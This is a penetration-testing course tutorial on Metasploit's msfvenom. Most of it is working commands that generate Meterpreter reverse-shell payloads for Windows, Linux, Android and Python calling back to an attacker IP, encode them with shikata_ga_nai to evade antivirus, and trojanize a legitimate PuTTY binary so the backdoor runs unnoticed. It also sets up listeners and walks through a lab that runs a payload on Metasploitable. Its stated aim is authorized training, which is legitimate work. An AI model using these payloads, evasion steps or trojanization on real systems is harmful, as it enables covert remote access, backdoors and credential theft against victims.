This tutorial teaches penetration testers how to use msfvenom, Metasploit's payload generation tool, to create custom reverse shells and backdoors for authorized security assessments. It covers payload types, encoding techniques, listener setup, and practical lab exercises targeting Windows, Linux, and Android systems. The article is foundational because msfvenom bridges ethical hacking knowledge from earlier course days (phishing delivery, exploitation frameworks) into the actual executable code that runs on compromised systems.
- Three independent concepts define payloadsMsfvenom separates payload generation into three distinct decisions: the payload module (what the code does — reverse shell, bind shell, etc.), the output format (how it's delivered — exe, elf, apk, dll, powershell, etc.), and the encoder (how it evades detection). Understanding these as independent choices rather than linked decisions allows penetration testers to build any required configuration.
- Slash notation distinguishes staged vs stagelessStaged payloads contain a forward slash in their name (windows/meterpreter/reverse_tcp) and send only a small stager (~300 bytes) that fetches the full payload at runtime, resulting in smaller file sizes but requiring stable network connectivity. Stageless payloads use only underscores (windows/meterpreter_reverse_tcp), contain the entire payload in one file, produce larger files but work better through firewalls. The article emphasizes this naming convention applies across all platforms.
- Listener payload module must match exactlyThe exploit/multi/handler in Metasploit must use the identical payload module name as the generated msfvenom payload, and LHOST must be set to the actual Kali IP address (not 127.0.0.1) for the callback connection to work. The article identifies mismatched payload names and incorrect LHOST configuration as the most common reasons msfvenom payloads fail to connect.
- Encoding transforms signatures polymorphicallyShikata_ga_nai is a polymorphic XOR additive feedback encoder that produces different output bytes on each execution, defeating static signature matching by antivirus systems. The -i flag enables multiple encoding iterations (e.g., -i 10) to layer obfuscation. The article notes encoding alone is insufficient against modern behavior-based AV but remains effective in lab environments and against legacy endpoint solutions.
- Windows payloads require architecture matchingWhile 32-bit payloads run on 64-bit Windows through WOW64 compatibility, the article emphasizes that 64-bit payloads are more reliable for post-exploitation tasks like privilege escalation. Penetration testers should check target architecture with systeminfo before payload generation to avoid reliability issues in real engagements.
- Trojanization embeds backdoors in legitimate executablesThe -x flag allows msfvenom to inject a payload into an existing legitimate executable (like PuTTY), and the -k flag preserves the original program's functionality so users see no anomaly while the backdoor executes in the background. This technique demonstrates how trojanized software works and connects to credential theft methodologies from earlier course content.
- Output formats enable delivery method flexibilityMsfvenom supports exe (Windows executable), elf (Linux binary), dll (Windows library hijacking), apk (Android package), ps1 (PowerShell fileless), py (Python cross-platform), raw (shellcode bytes), c and csharp (for manual code injectors), war (Java), and aspx (ASP.NET). Format selection depends on the target environment and delivery vector, with PowerShell and raw formats enabling fileless or in-memory approaches.
- Mandatory parameters define every payload commandEvery msfvenom invocation requires three parameters: the payload module (-p, what the code does), LHOST (the Kali IP the payload calls back to), and LPORT (the listening port). The core syntax is msfvenom -p LHOST= LPORT= -f -o , with additional flags for encoding (-e), iterations (-i), templates (-x), and functionality preservation (-k).
Bottom line: Msfvenom is the foundational payload factory for penetration testers, and mastery requires understanding that payload, format, and encoder are independent decisions, that staged vs stageless distinction matters for network constraints, and that listener configuration must match the generated payload exactly. The article's emphasis on LHOST, architecture matching, and payload name synchronization identifies the three most critical failure points students encounter in practice.
Msfvenom is the payload factory of every serious penetration tester. One command generates a Windows backdoor, a Linux reverse shell, or an Android APK — custom, encoded, and ready to execute. I’m walking you through the complete msfvenom tutorial today: payload types, encoding, listener setup, and a full end-to-end lab against your Metasploitable instance.
Yesterday on Day 26 I covered the Social-Engineer Toolkit for phishing and pretexting. Today we move into the payload itself — the executable code that opens the connection. Understanding the full Kali Linux course payload workflow makes everything from SET delivery to post-exploitation click into place.
What Msfvenom Is and How It Works
Msfvenom combines two older Metasploit tools — msfpayload (shellcode generation) and msfencode (obfuscation) — into one faster, simpler command. When I run msfvenom, I specify three things: what the payload does (connect back, open a shell, execute commands), what format to deliver it in (EXE, ELF, APK, raw bytes), and optionally how to encode it to reduce antivirus detection. Every payload has three mandatory parameters: the payload module (-p), the callback IP (LHOST), and the callback port (LPORT).
Staged vs Stageless: The Slash vs Underscore Rule
The most important distinction in msfvenom that every beginner gets wrong: staged versus stageless payloads. My fast rule — the slash in the payload name tells you which type you have. windows/meterpreter/reverse_tcp has a slash between meterpreter and reverse_tcp — that is staged. windows/meterpreter_reverse_tcp has only underscores — that is stageless. This rule applies to every platform: Windows, Linux, Android.
1. windows/x64/meterpreter/reverse_tcp
2. windows/meterpreter_reverse_https
3. linux/x86/meterpreter/reverse_tcp
4. android/meterpreter_reverse_tcp
5. windows/shell/reverse_tcp
Answers: 1=S 2=SL 3=S 4=SL 5=S
Windows Payload Generation
Windows is the most common target in penetration tests. Msfvenom generates EXE, DLL, PowerShell, and raw shellcode payloads for Windows targets. My workflow for every Windows payload: generate with the correct architecture (x86 for 32-bit, x64 for 64-bit), set LHOST to my Kali IP on the lab network, set a port that isn’t commonly blocked, and match the format to the delivery method.
# 32-bit Windows reverse TCP (most common) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f exe -o shell32.exe # 64-bit Windows reverse TCP msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f exe -o shell64.exe # HTTPS payload — encrypted callback msfvenom -p windows/meterpreter/reverse_https \ LHOST=192.168.1.100 LPORT=443 -f exe -o shell_https.exe # DLL payload for DLL hijacking msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll # PowerShell payload — fileless approach msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f ps1 -o shell.ps1
Linux and Android Payloads
Linux ELF payloads are essential for server-side exploitation — web servers, database servers, and any Linux system with command execution capability all become valid targets in authorised tests. Android APK payloads demonstrate mobile security assessment fundamentals. The syntax follows exactly the same pattern as Windows payloads; only the platform and format change.
# Linux x86 ELF reverse shell msfvenom -p linux/x86/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf chmod +x shell.elf # Linux x64 ELF (modern 64-bit servers) msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f elf -o shell64.elf # Android APK — own test device ONLY msfvenom -p android/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -o mobiletest.apk # Python payload (cross-platform) msfvenom -p python/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.py
Encoding With Shikata_Ga_Nai
A raw msfvenom payload gets flagged by most AV solutions immediately because they have signatures for the known shellcode patterns. Encoding transforms the payload bytes to make signature matching harder. Shikata_ga_nai is a polymorphic XOR additive feedback encoder that produces different output bytes every run — making static signature matching ineffective. I add -i 10 to encode 10 times, layering the obfuscation. In modern environments encoding alone isn’t sufficient against behaviour-based AV, but in a lab context it perfectly demonstrates the evasion concept and is still effective against legacy endpoint solutions.
# Single pass encoding msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -e x86/shikata_ga_nai -f exe -o encoded.exe # 10 encoding iterations (stronger) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -e x86/shikata_ga_nai -i 10 -f exe -o encoded_10x.exe # List all encoders with quality rating msfvenom -l encoders | grep excellent # Add bad characters exclusion (for buffer overflow) msfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -b "\x00\x0a\x0d" -f c
Multi/Handler Listener Setup
Every msfvenom payload needs a matching listener. The exploit/multi/handler module in Metasploit is the universal catcher — it accepts connections from any msfvenom payload as long as the payload module, LHOST, and LPORT match exactly. The most common mistake I see is generating a staged payload but setting the wrong payload in multi/handler, or having LHOST set to 127.0.0.1 instead of the actual Kali IP. Always run show options and verify before running.
# Start msfconsole quietly msfconsole -q # Select handler msf6 > use exploit/multi/handler # MUST match generated payload exactly msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp # Set your actual Kali IP — not 127.0.0.1 msf6 exploit(multi/handler) > set LHOST 192.168.1.100 msf6 exploit(multi/handler) > set LPORT 4444 # Verify before running msf6 exploit(multi/handler) > show options # Run in background (accepts multiple connections) msf6 exploit(multi/handler) > run -j # When payload connects: [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49312) # List and interact with sessions msf6 > sessions msf6 > sessions -i 1
KALI_IP=$(hostname -I | awk ‘{print $1}’)
echo “Kali IP: $KALI_IP”
# Generate Linux ELF payload
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=$KALI_IP LPORT=5555 -f elf -o /tmp/lab_shell.elf
# Verify the file
file /tmp/lab_shell.elf
ls -la /tmp/lab_shell.elf
# Quick listener (new terminal window)
msfconsole -q -x “use exploit/multi/handler; \
set payload linux/x86/meterpreter/reverse_tcp; \
set LHOST 0.0.0.0; set LPORT 5555; run”
Advanced: Embedding Payloads Into Templates
Msfvenom can inject a payload into an existing legitimate executable using the -x flag. The target runs what appears to be a real application while the backdoor executes simultaneously in the background. Adding -k keeps the original functionality working so the user sees no anomaly. This technique is foundational to understanding how trojanised software works — something every ethical hacker needs to understand, and that connects directly to the credential theft methods from Day 10.
# Embed payload into existing executable msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -x /usr/share/windows-resources/putty.exe \ -f exe -o trojan_putty.exe # Keep original program working (-k) msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -x /path/to/legit.exe -k -f exe -o backdoored.exe # Generate raw C shellcode for manual injectors msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f c # Generate C# shellcode for .NET projects msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 -f csharp
KALI_IP=$(hostname -I | awk ‘{print $1}’)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=$KALI_IP LPORT=5556 \
-e x86/shikata_ga_nai -i 5 \
-f elf -o /tmp/encoded_lab.elf
# Terminal 2: Start listener
msfconsole -q
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5556
run -j
# Terminal 1: Copy to Metasploitable via SCP
scp /tmp/encoded_lab.elf msfadmin@METASPLOITABLE_IP:/tmp/
# SSH in: chmod +x /tmp/encoded_lab.elf && /tmp/encoded_lab.elf
# Terminal 2: Session opens
sessions -i 1
sysinfo
getuid
Msfvenom Tutorial – Frequently Asked Questions
What is msfvenom used for?
What’s the difference between staged and stageless payloads?
Why isn’t my msfvenom payload connecting back?
Does encoding bypass antivirus?
How do I generate an Android payload?
What output formats does msfvenom support?
📚 Further Reading
- 180-Day Kali Linux Mastery Course Hub — Every course day from Nmap to advanced post-exploitation, in locked sequence.
- Day 26: Social Engineer Toolkit — The phishing and delivery vector that gets your msfvenom payload onto target machines.
- Day 21: Metasploit Framework — The multi/handler listener context. Day 21 covers the full Metasploit architecture that msfvenom plugs into.
- Rapid7 — Official Msfvenom Wiki — Every flag, format, and encoder option with examples from the Metasploit maintainers.
- Offensive Security — Metasploit Unleashed: Msfvenom — The free course chapter on msfvenom with real-world engagement context from the OSCP creators.

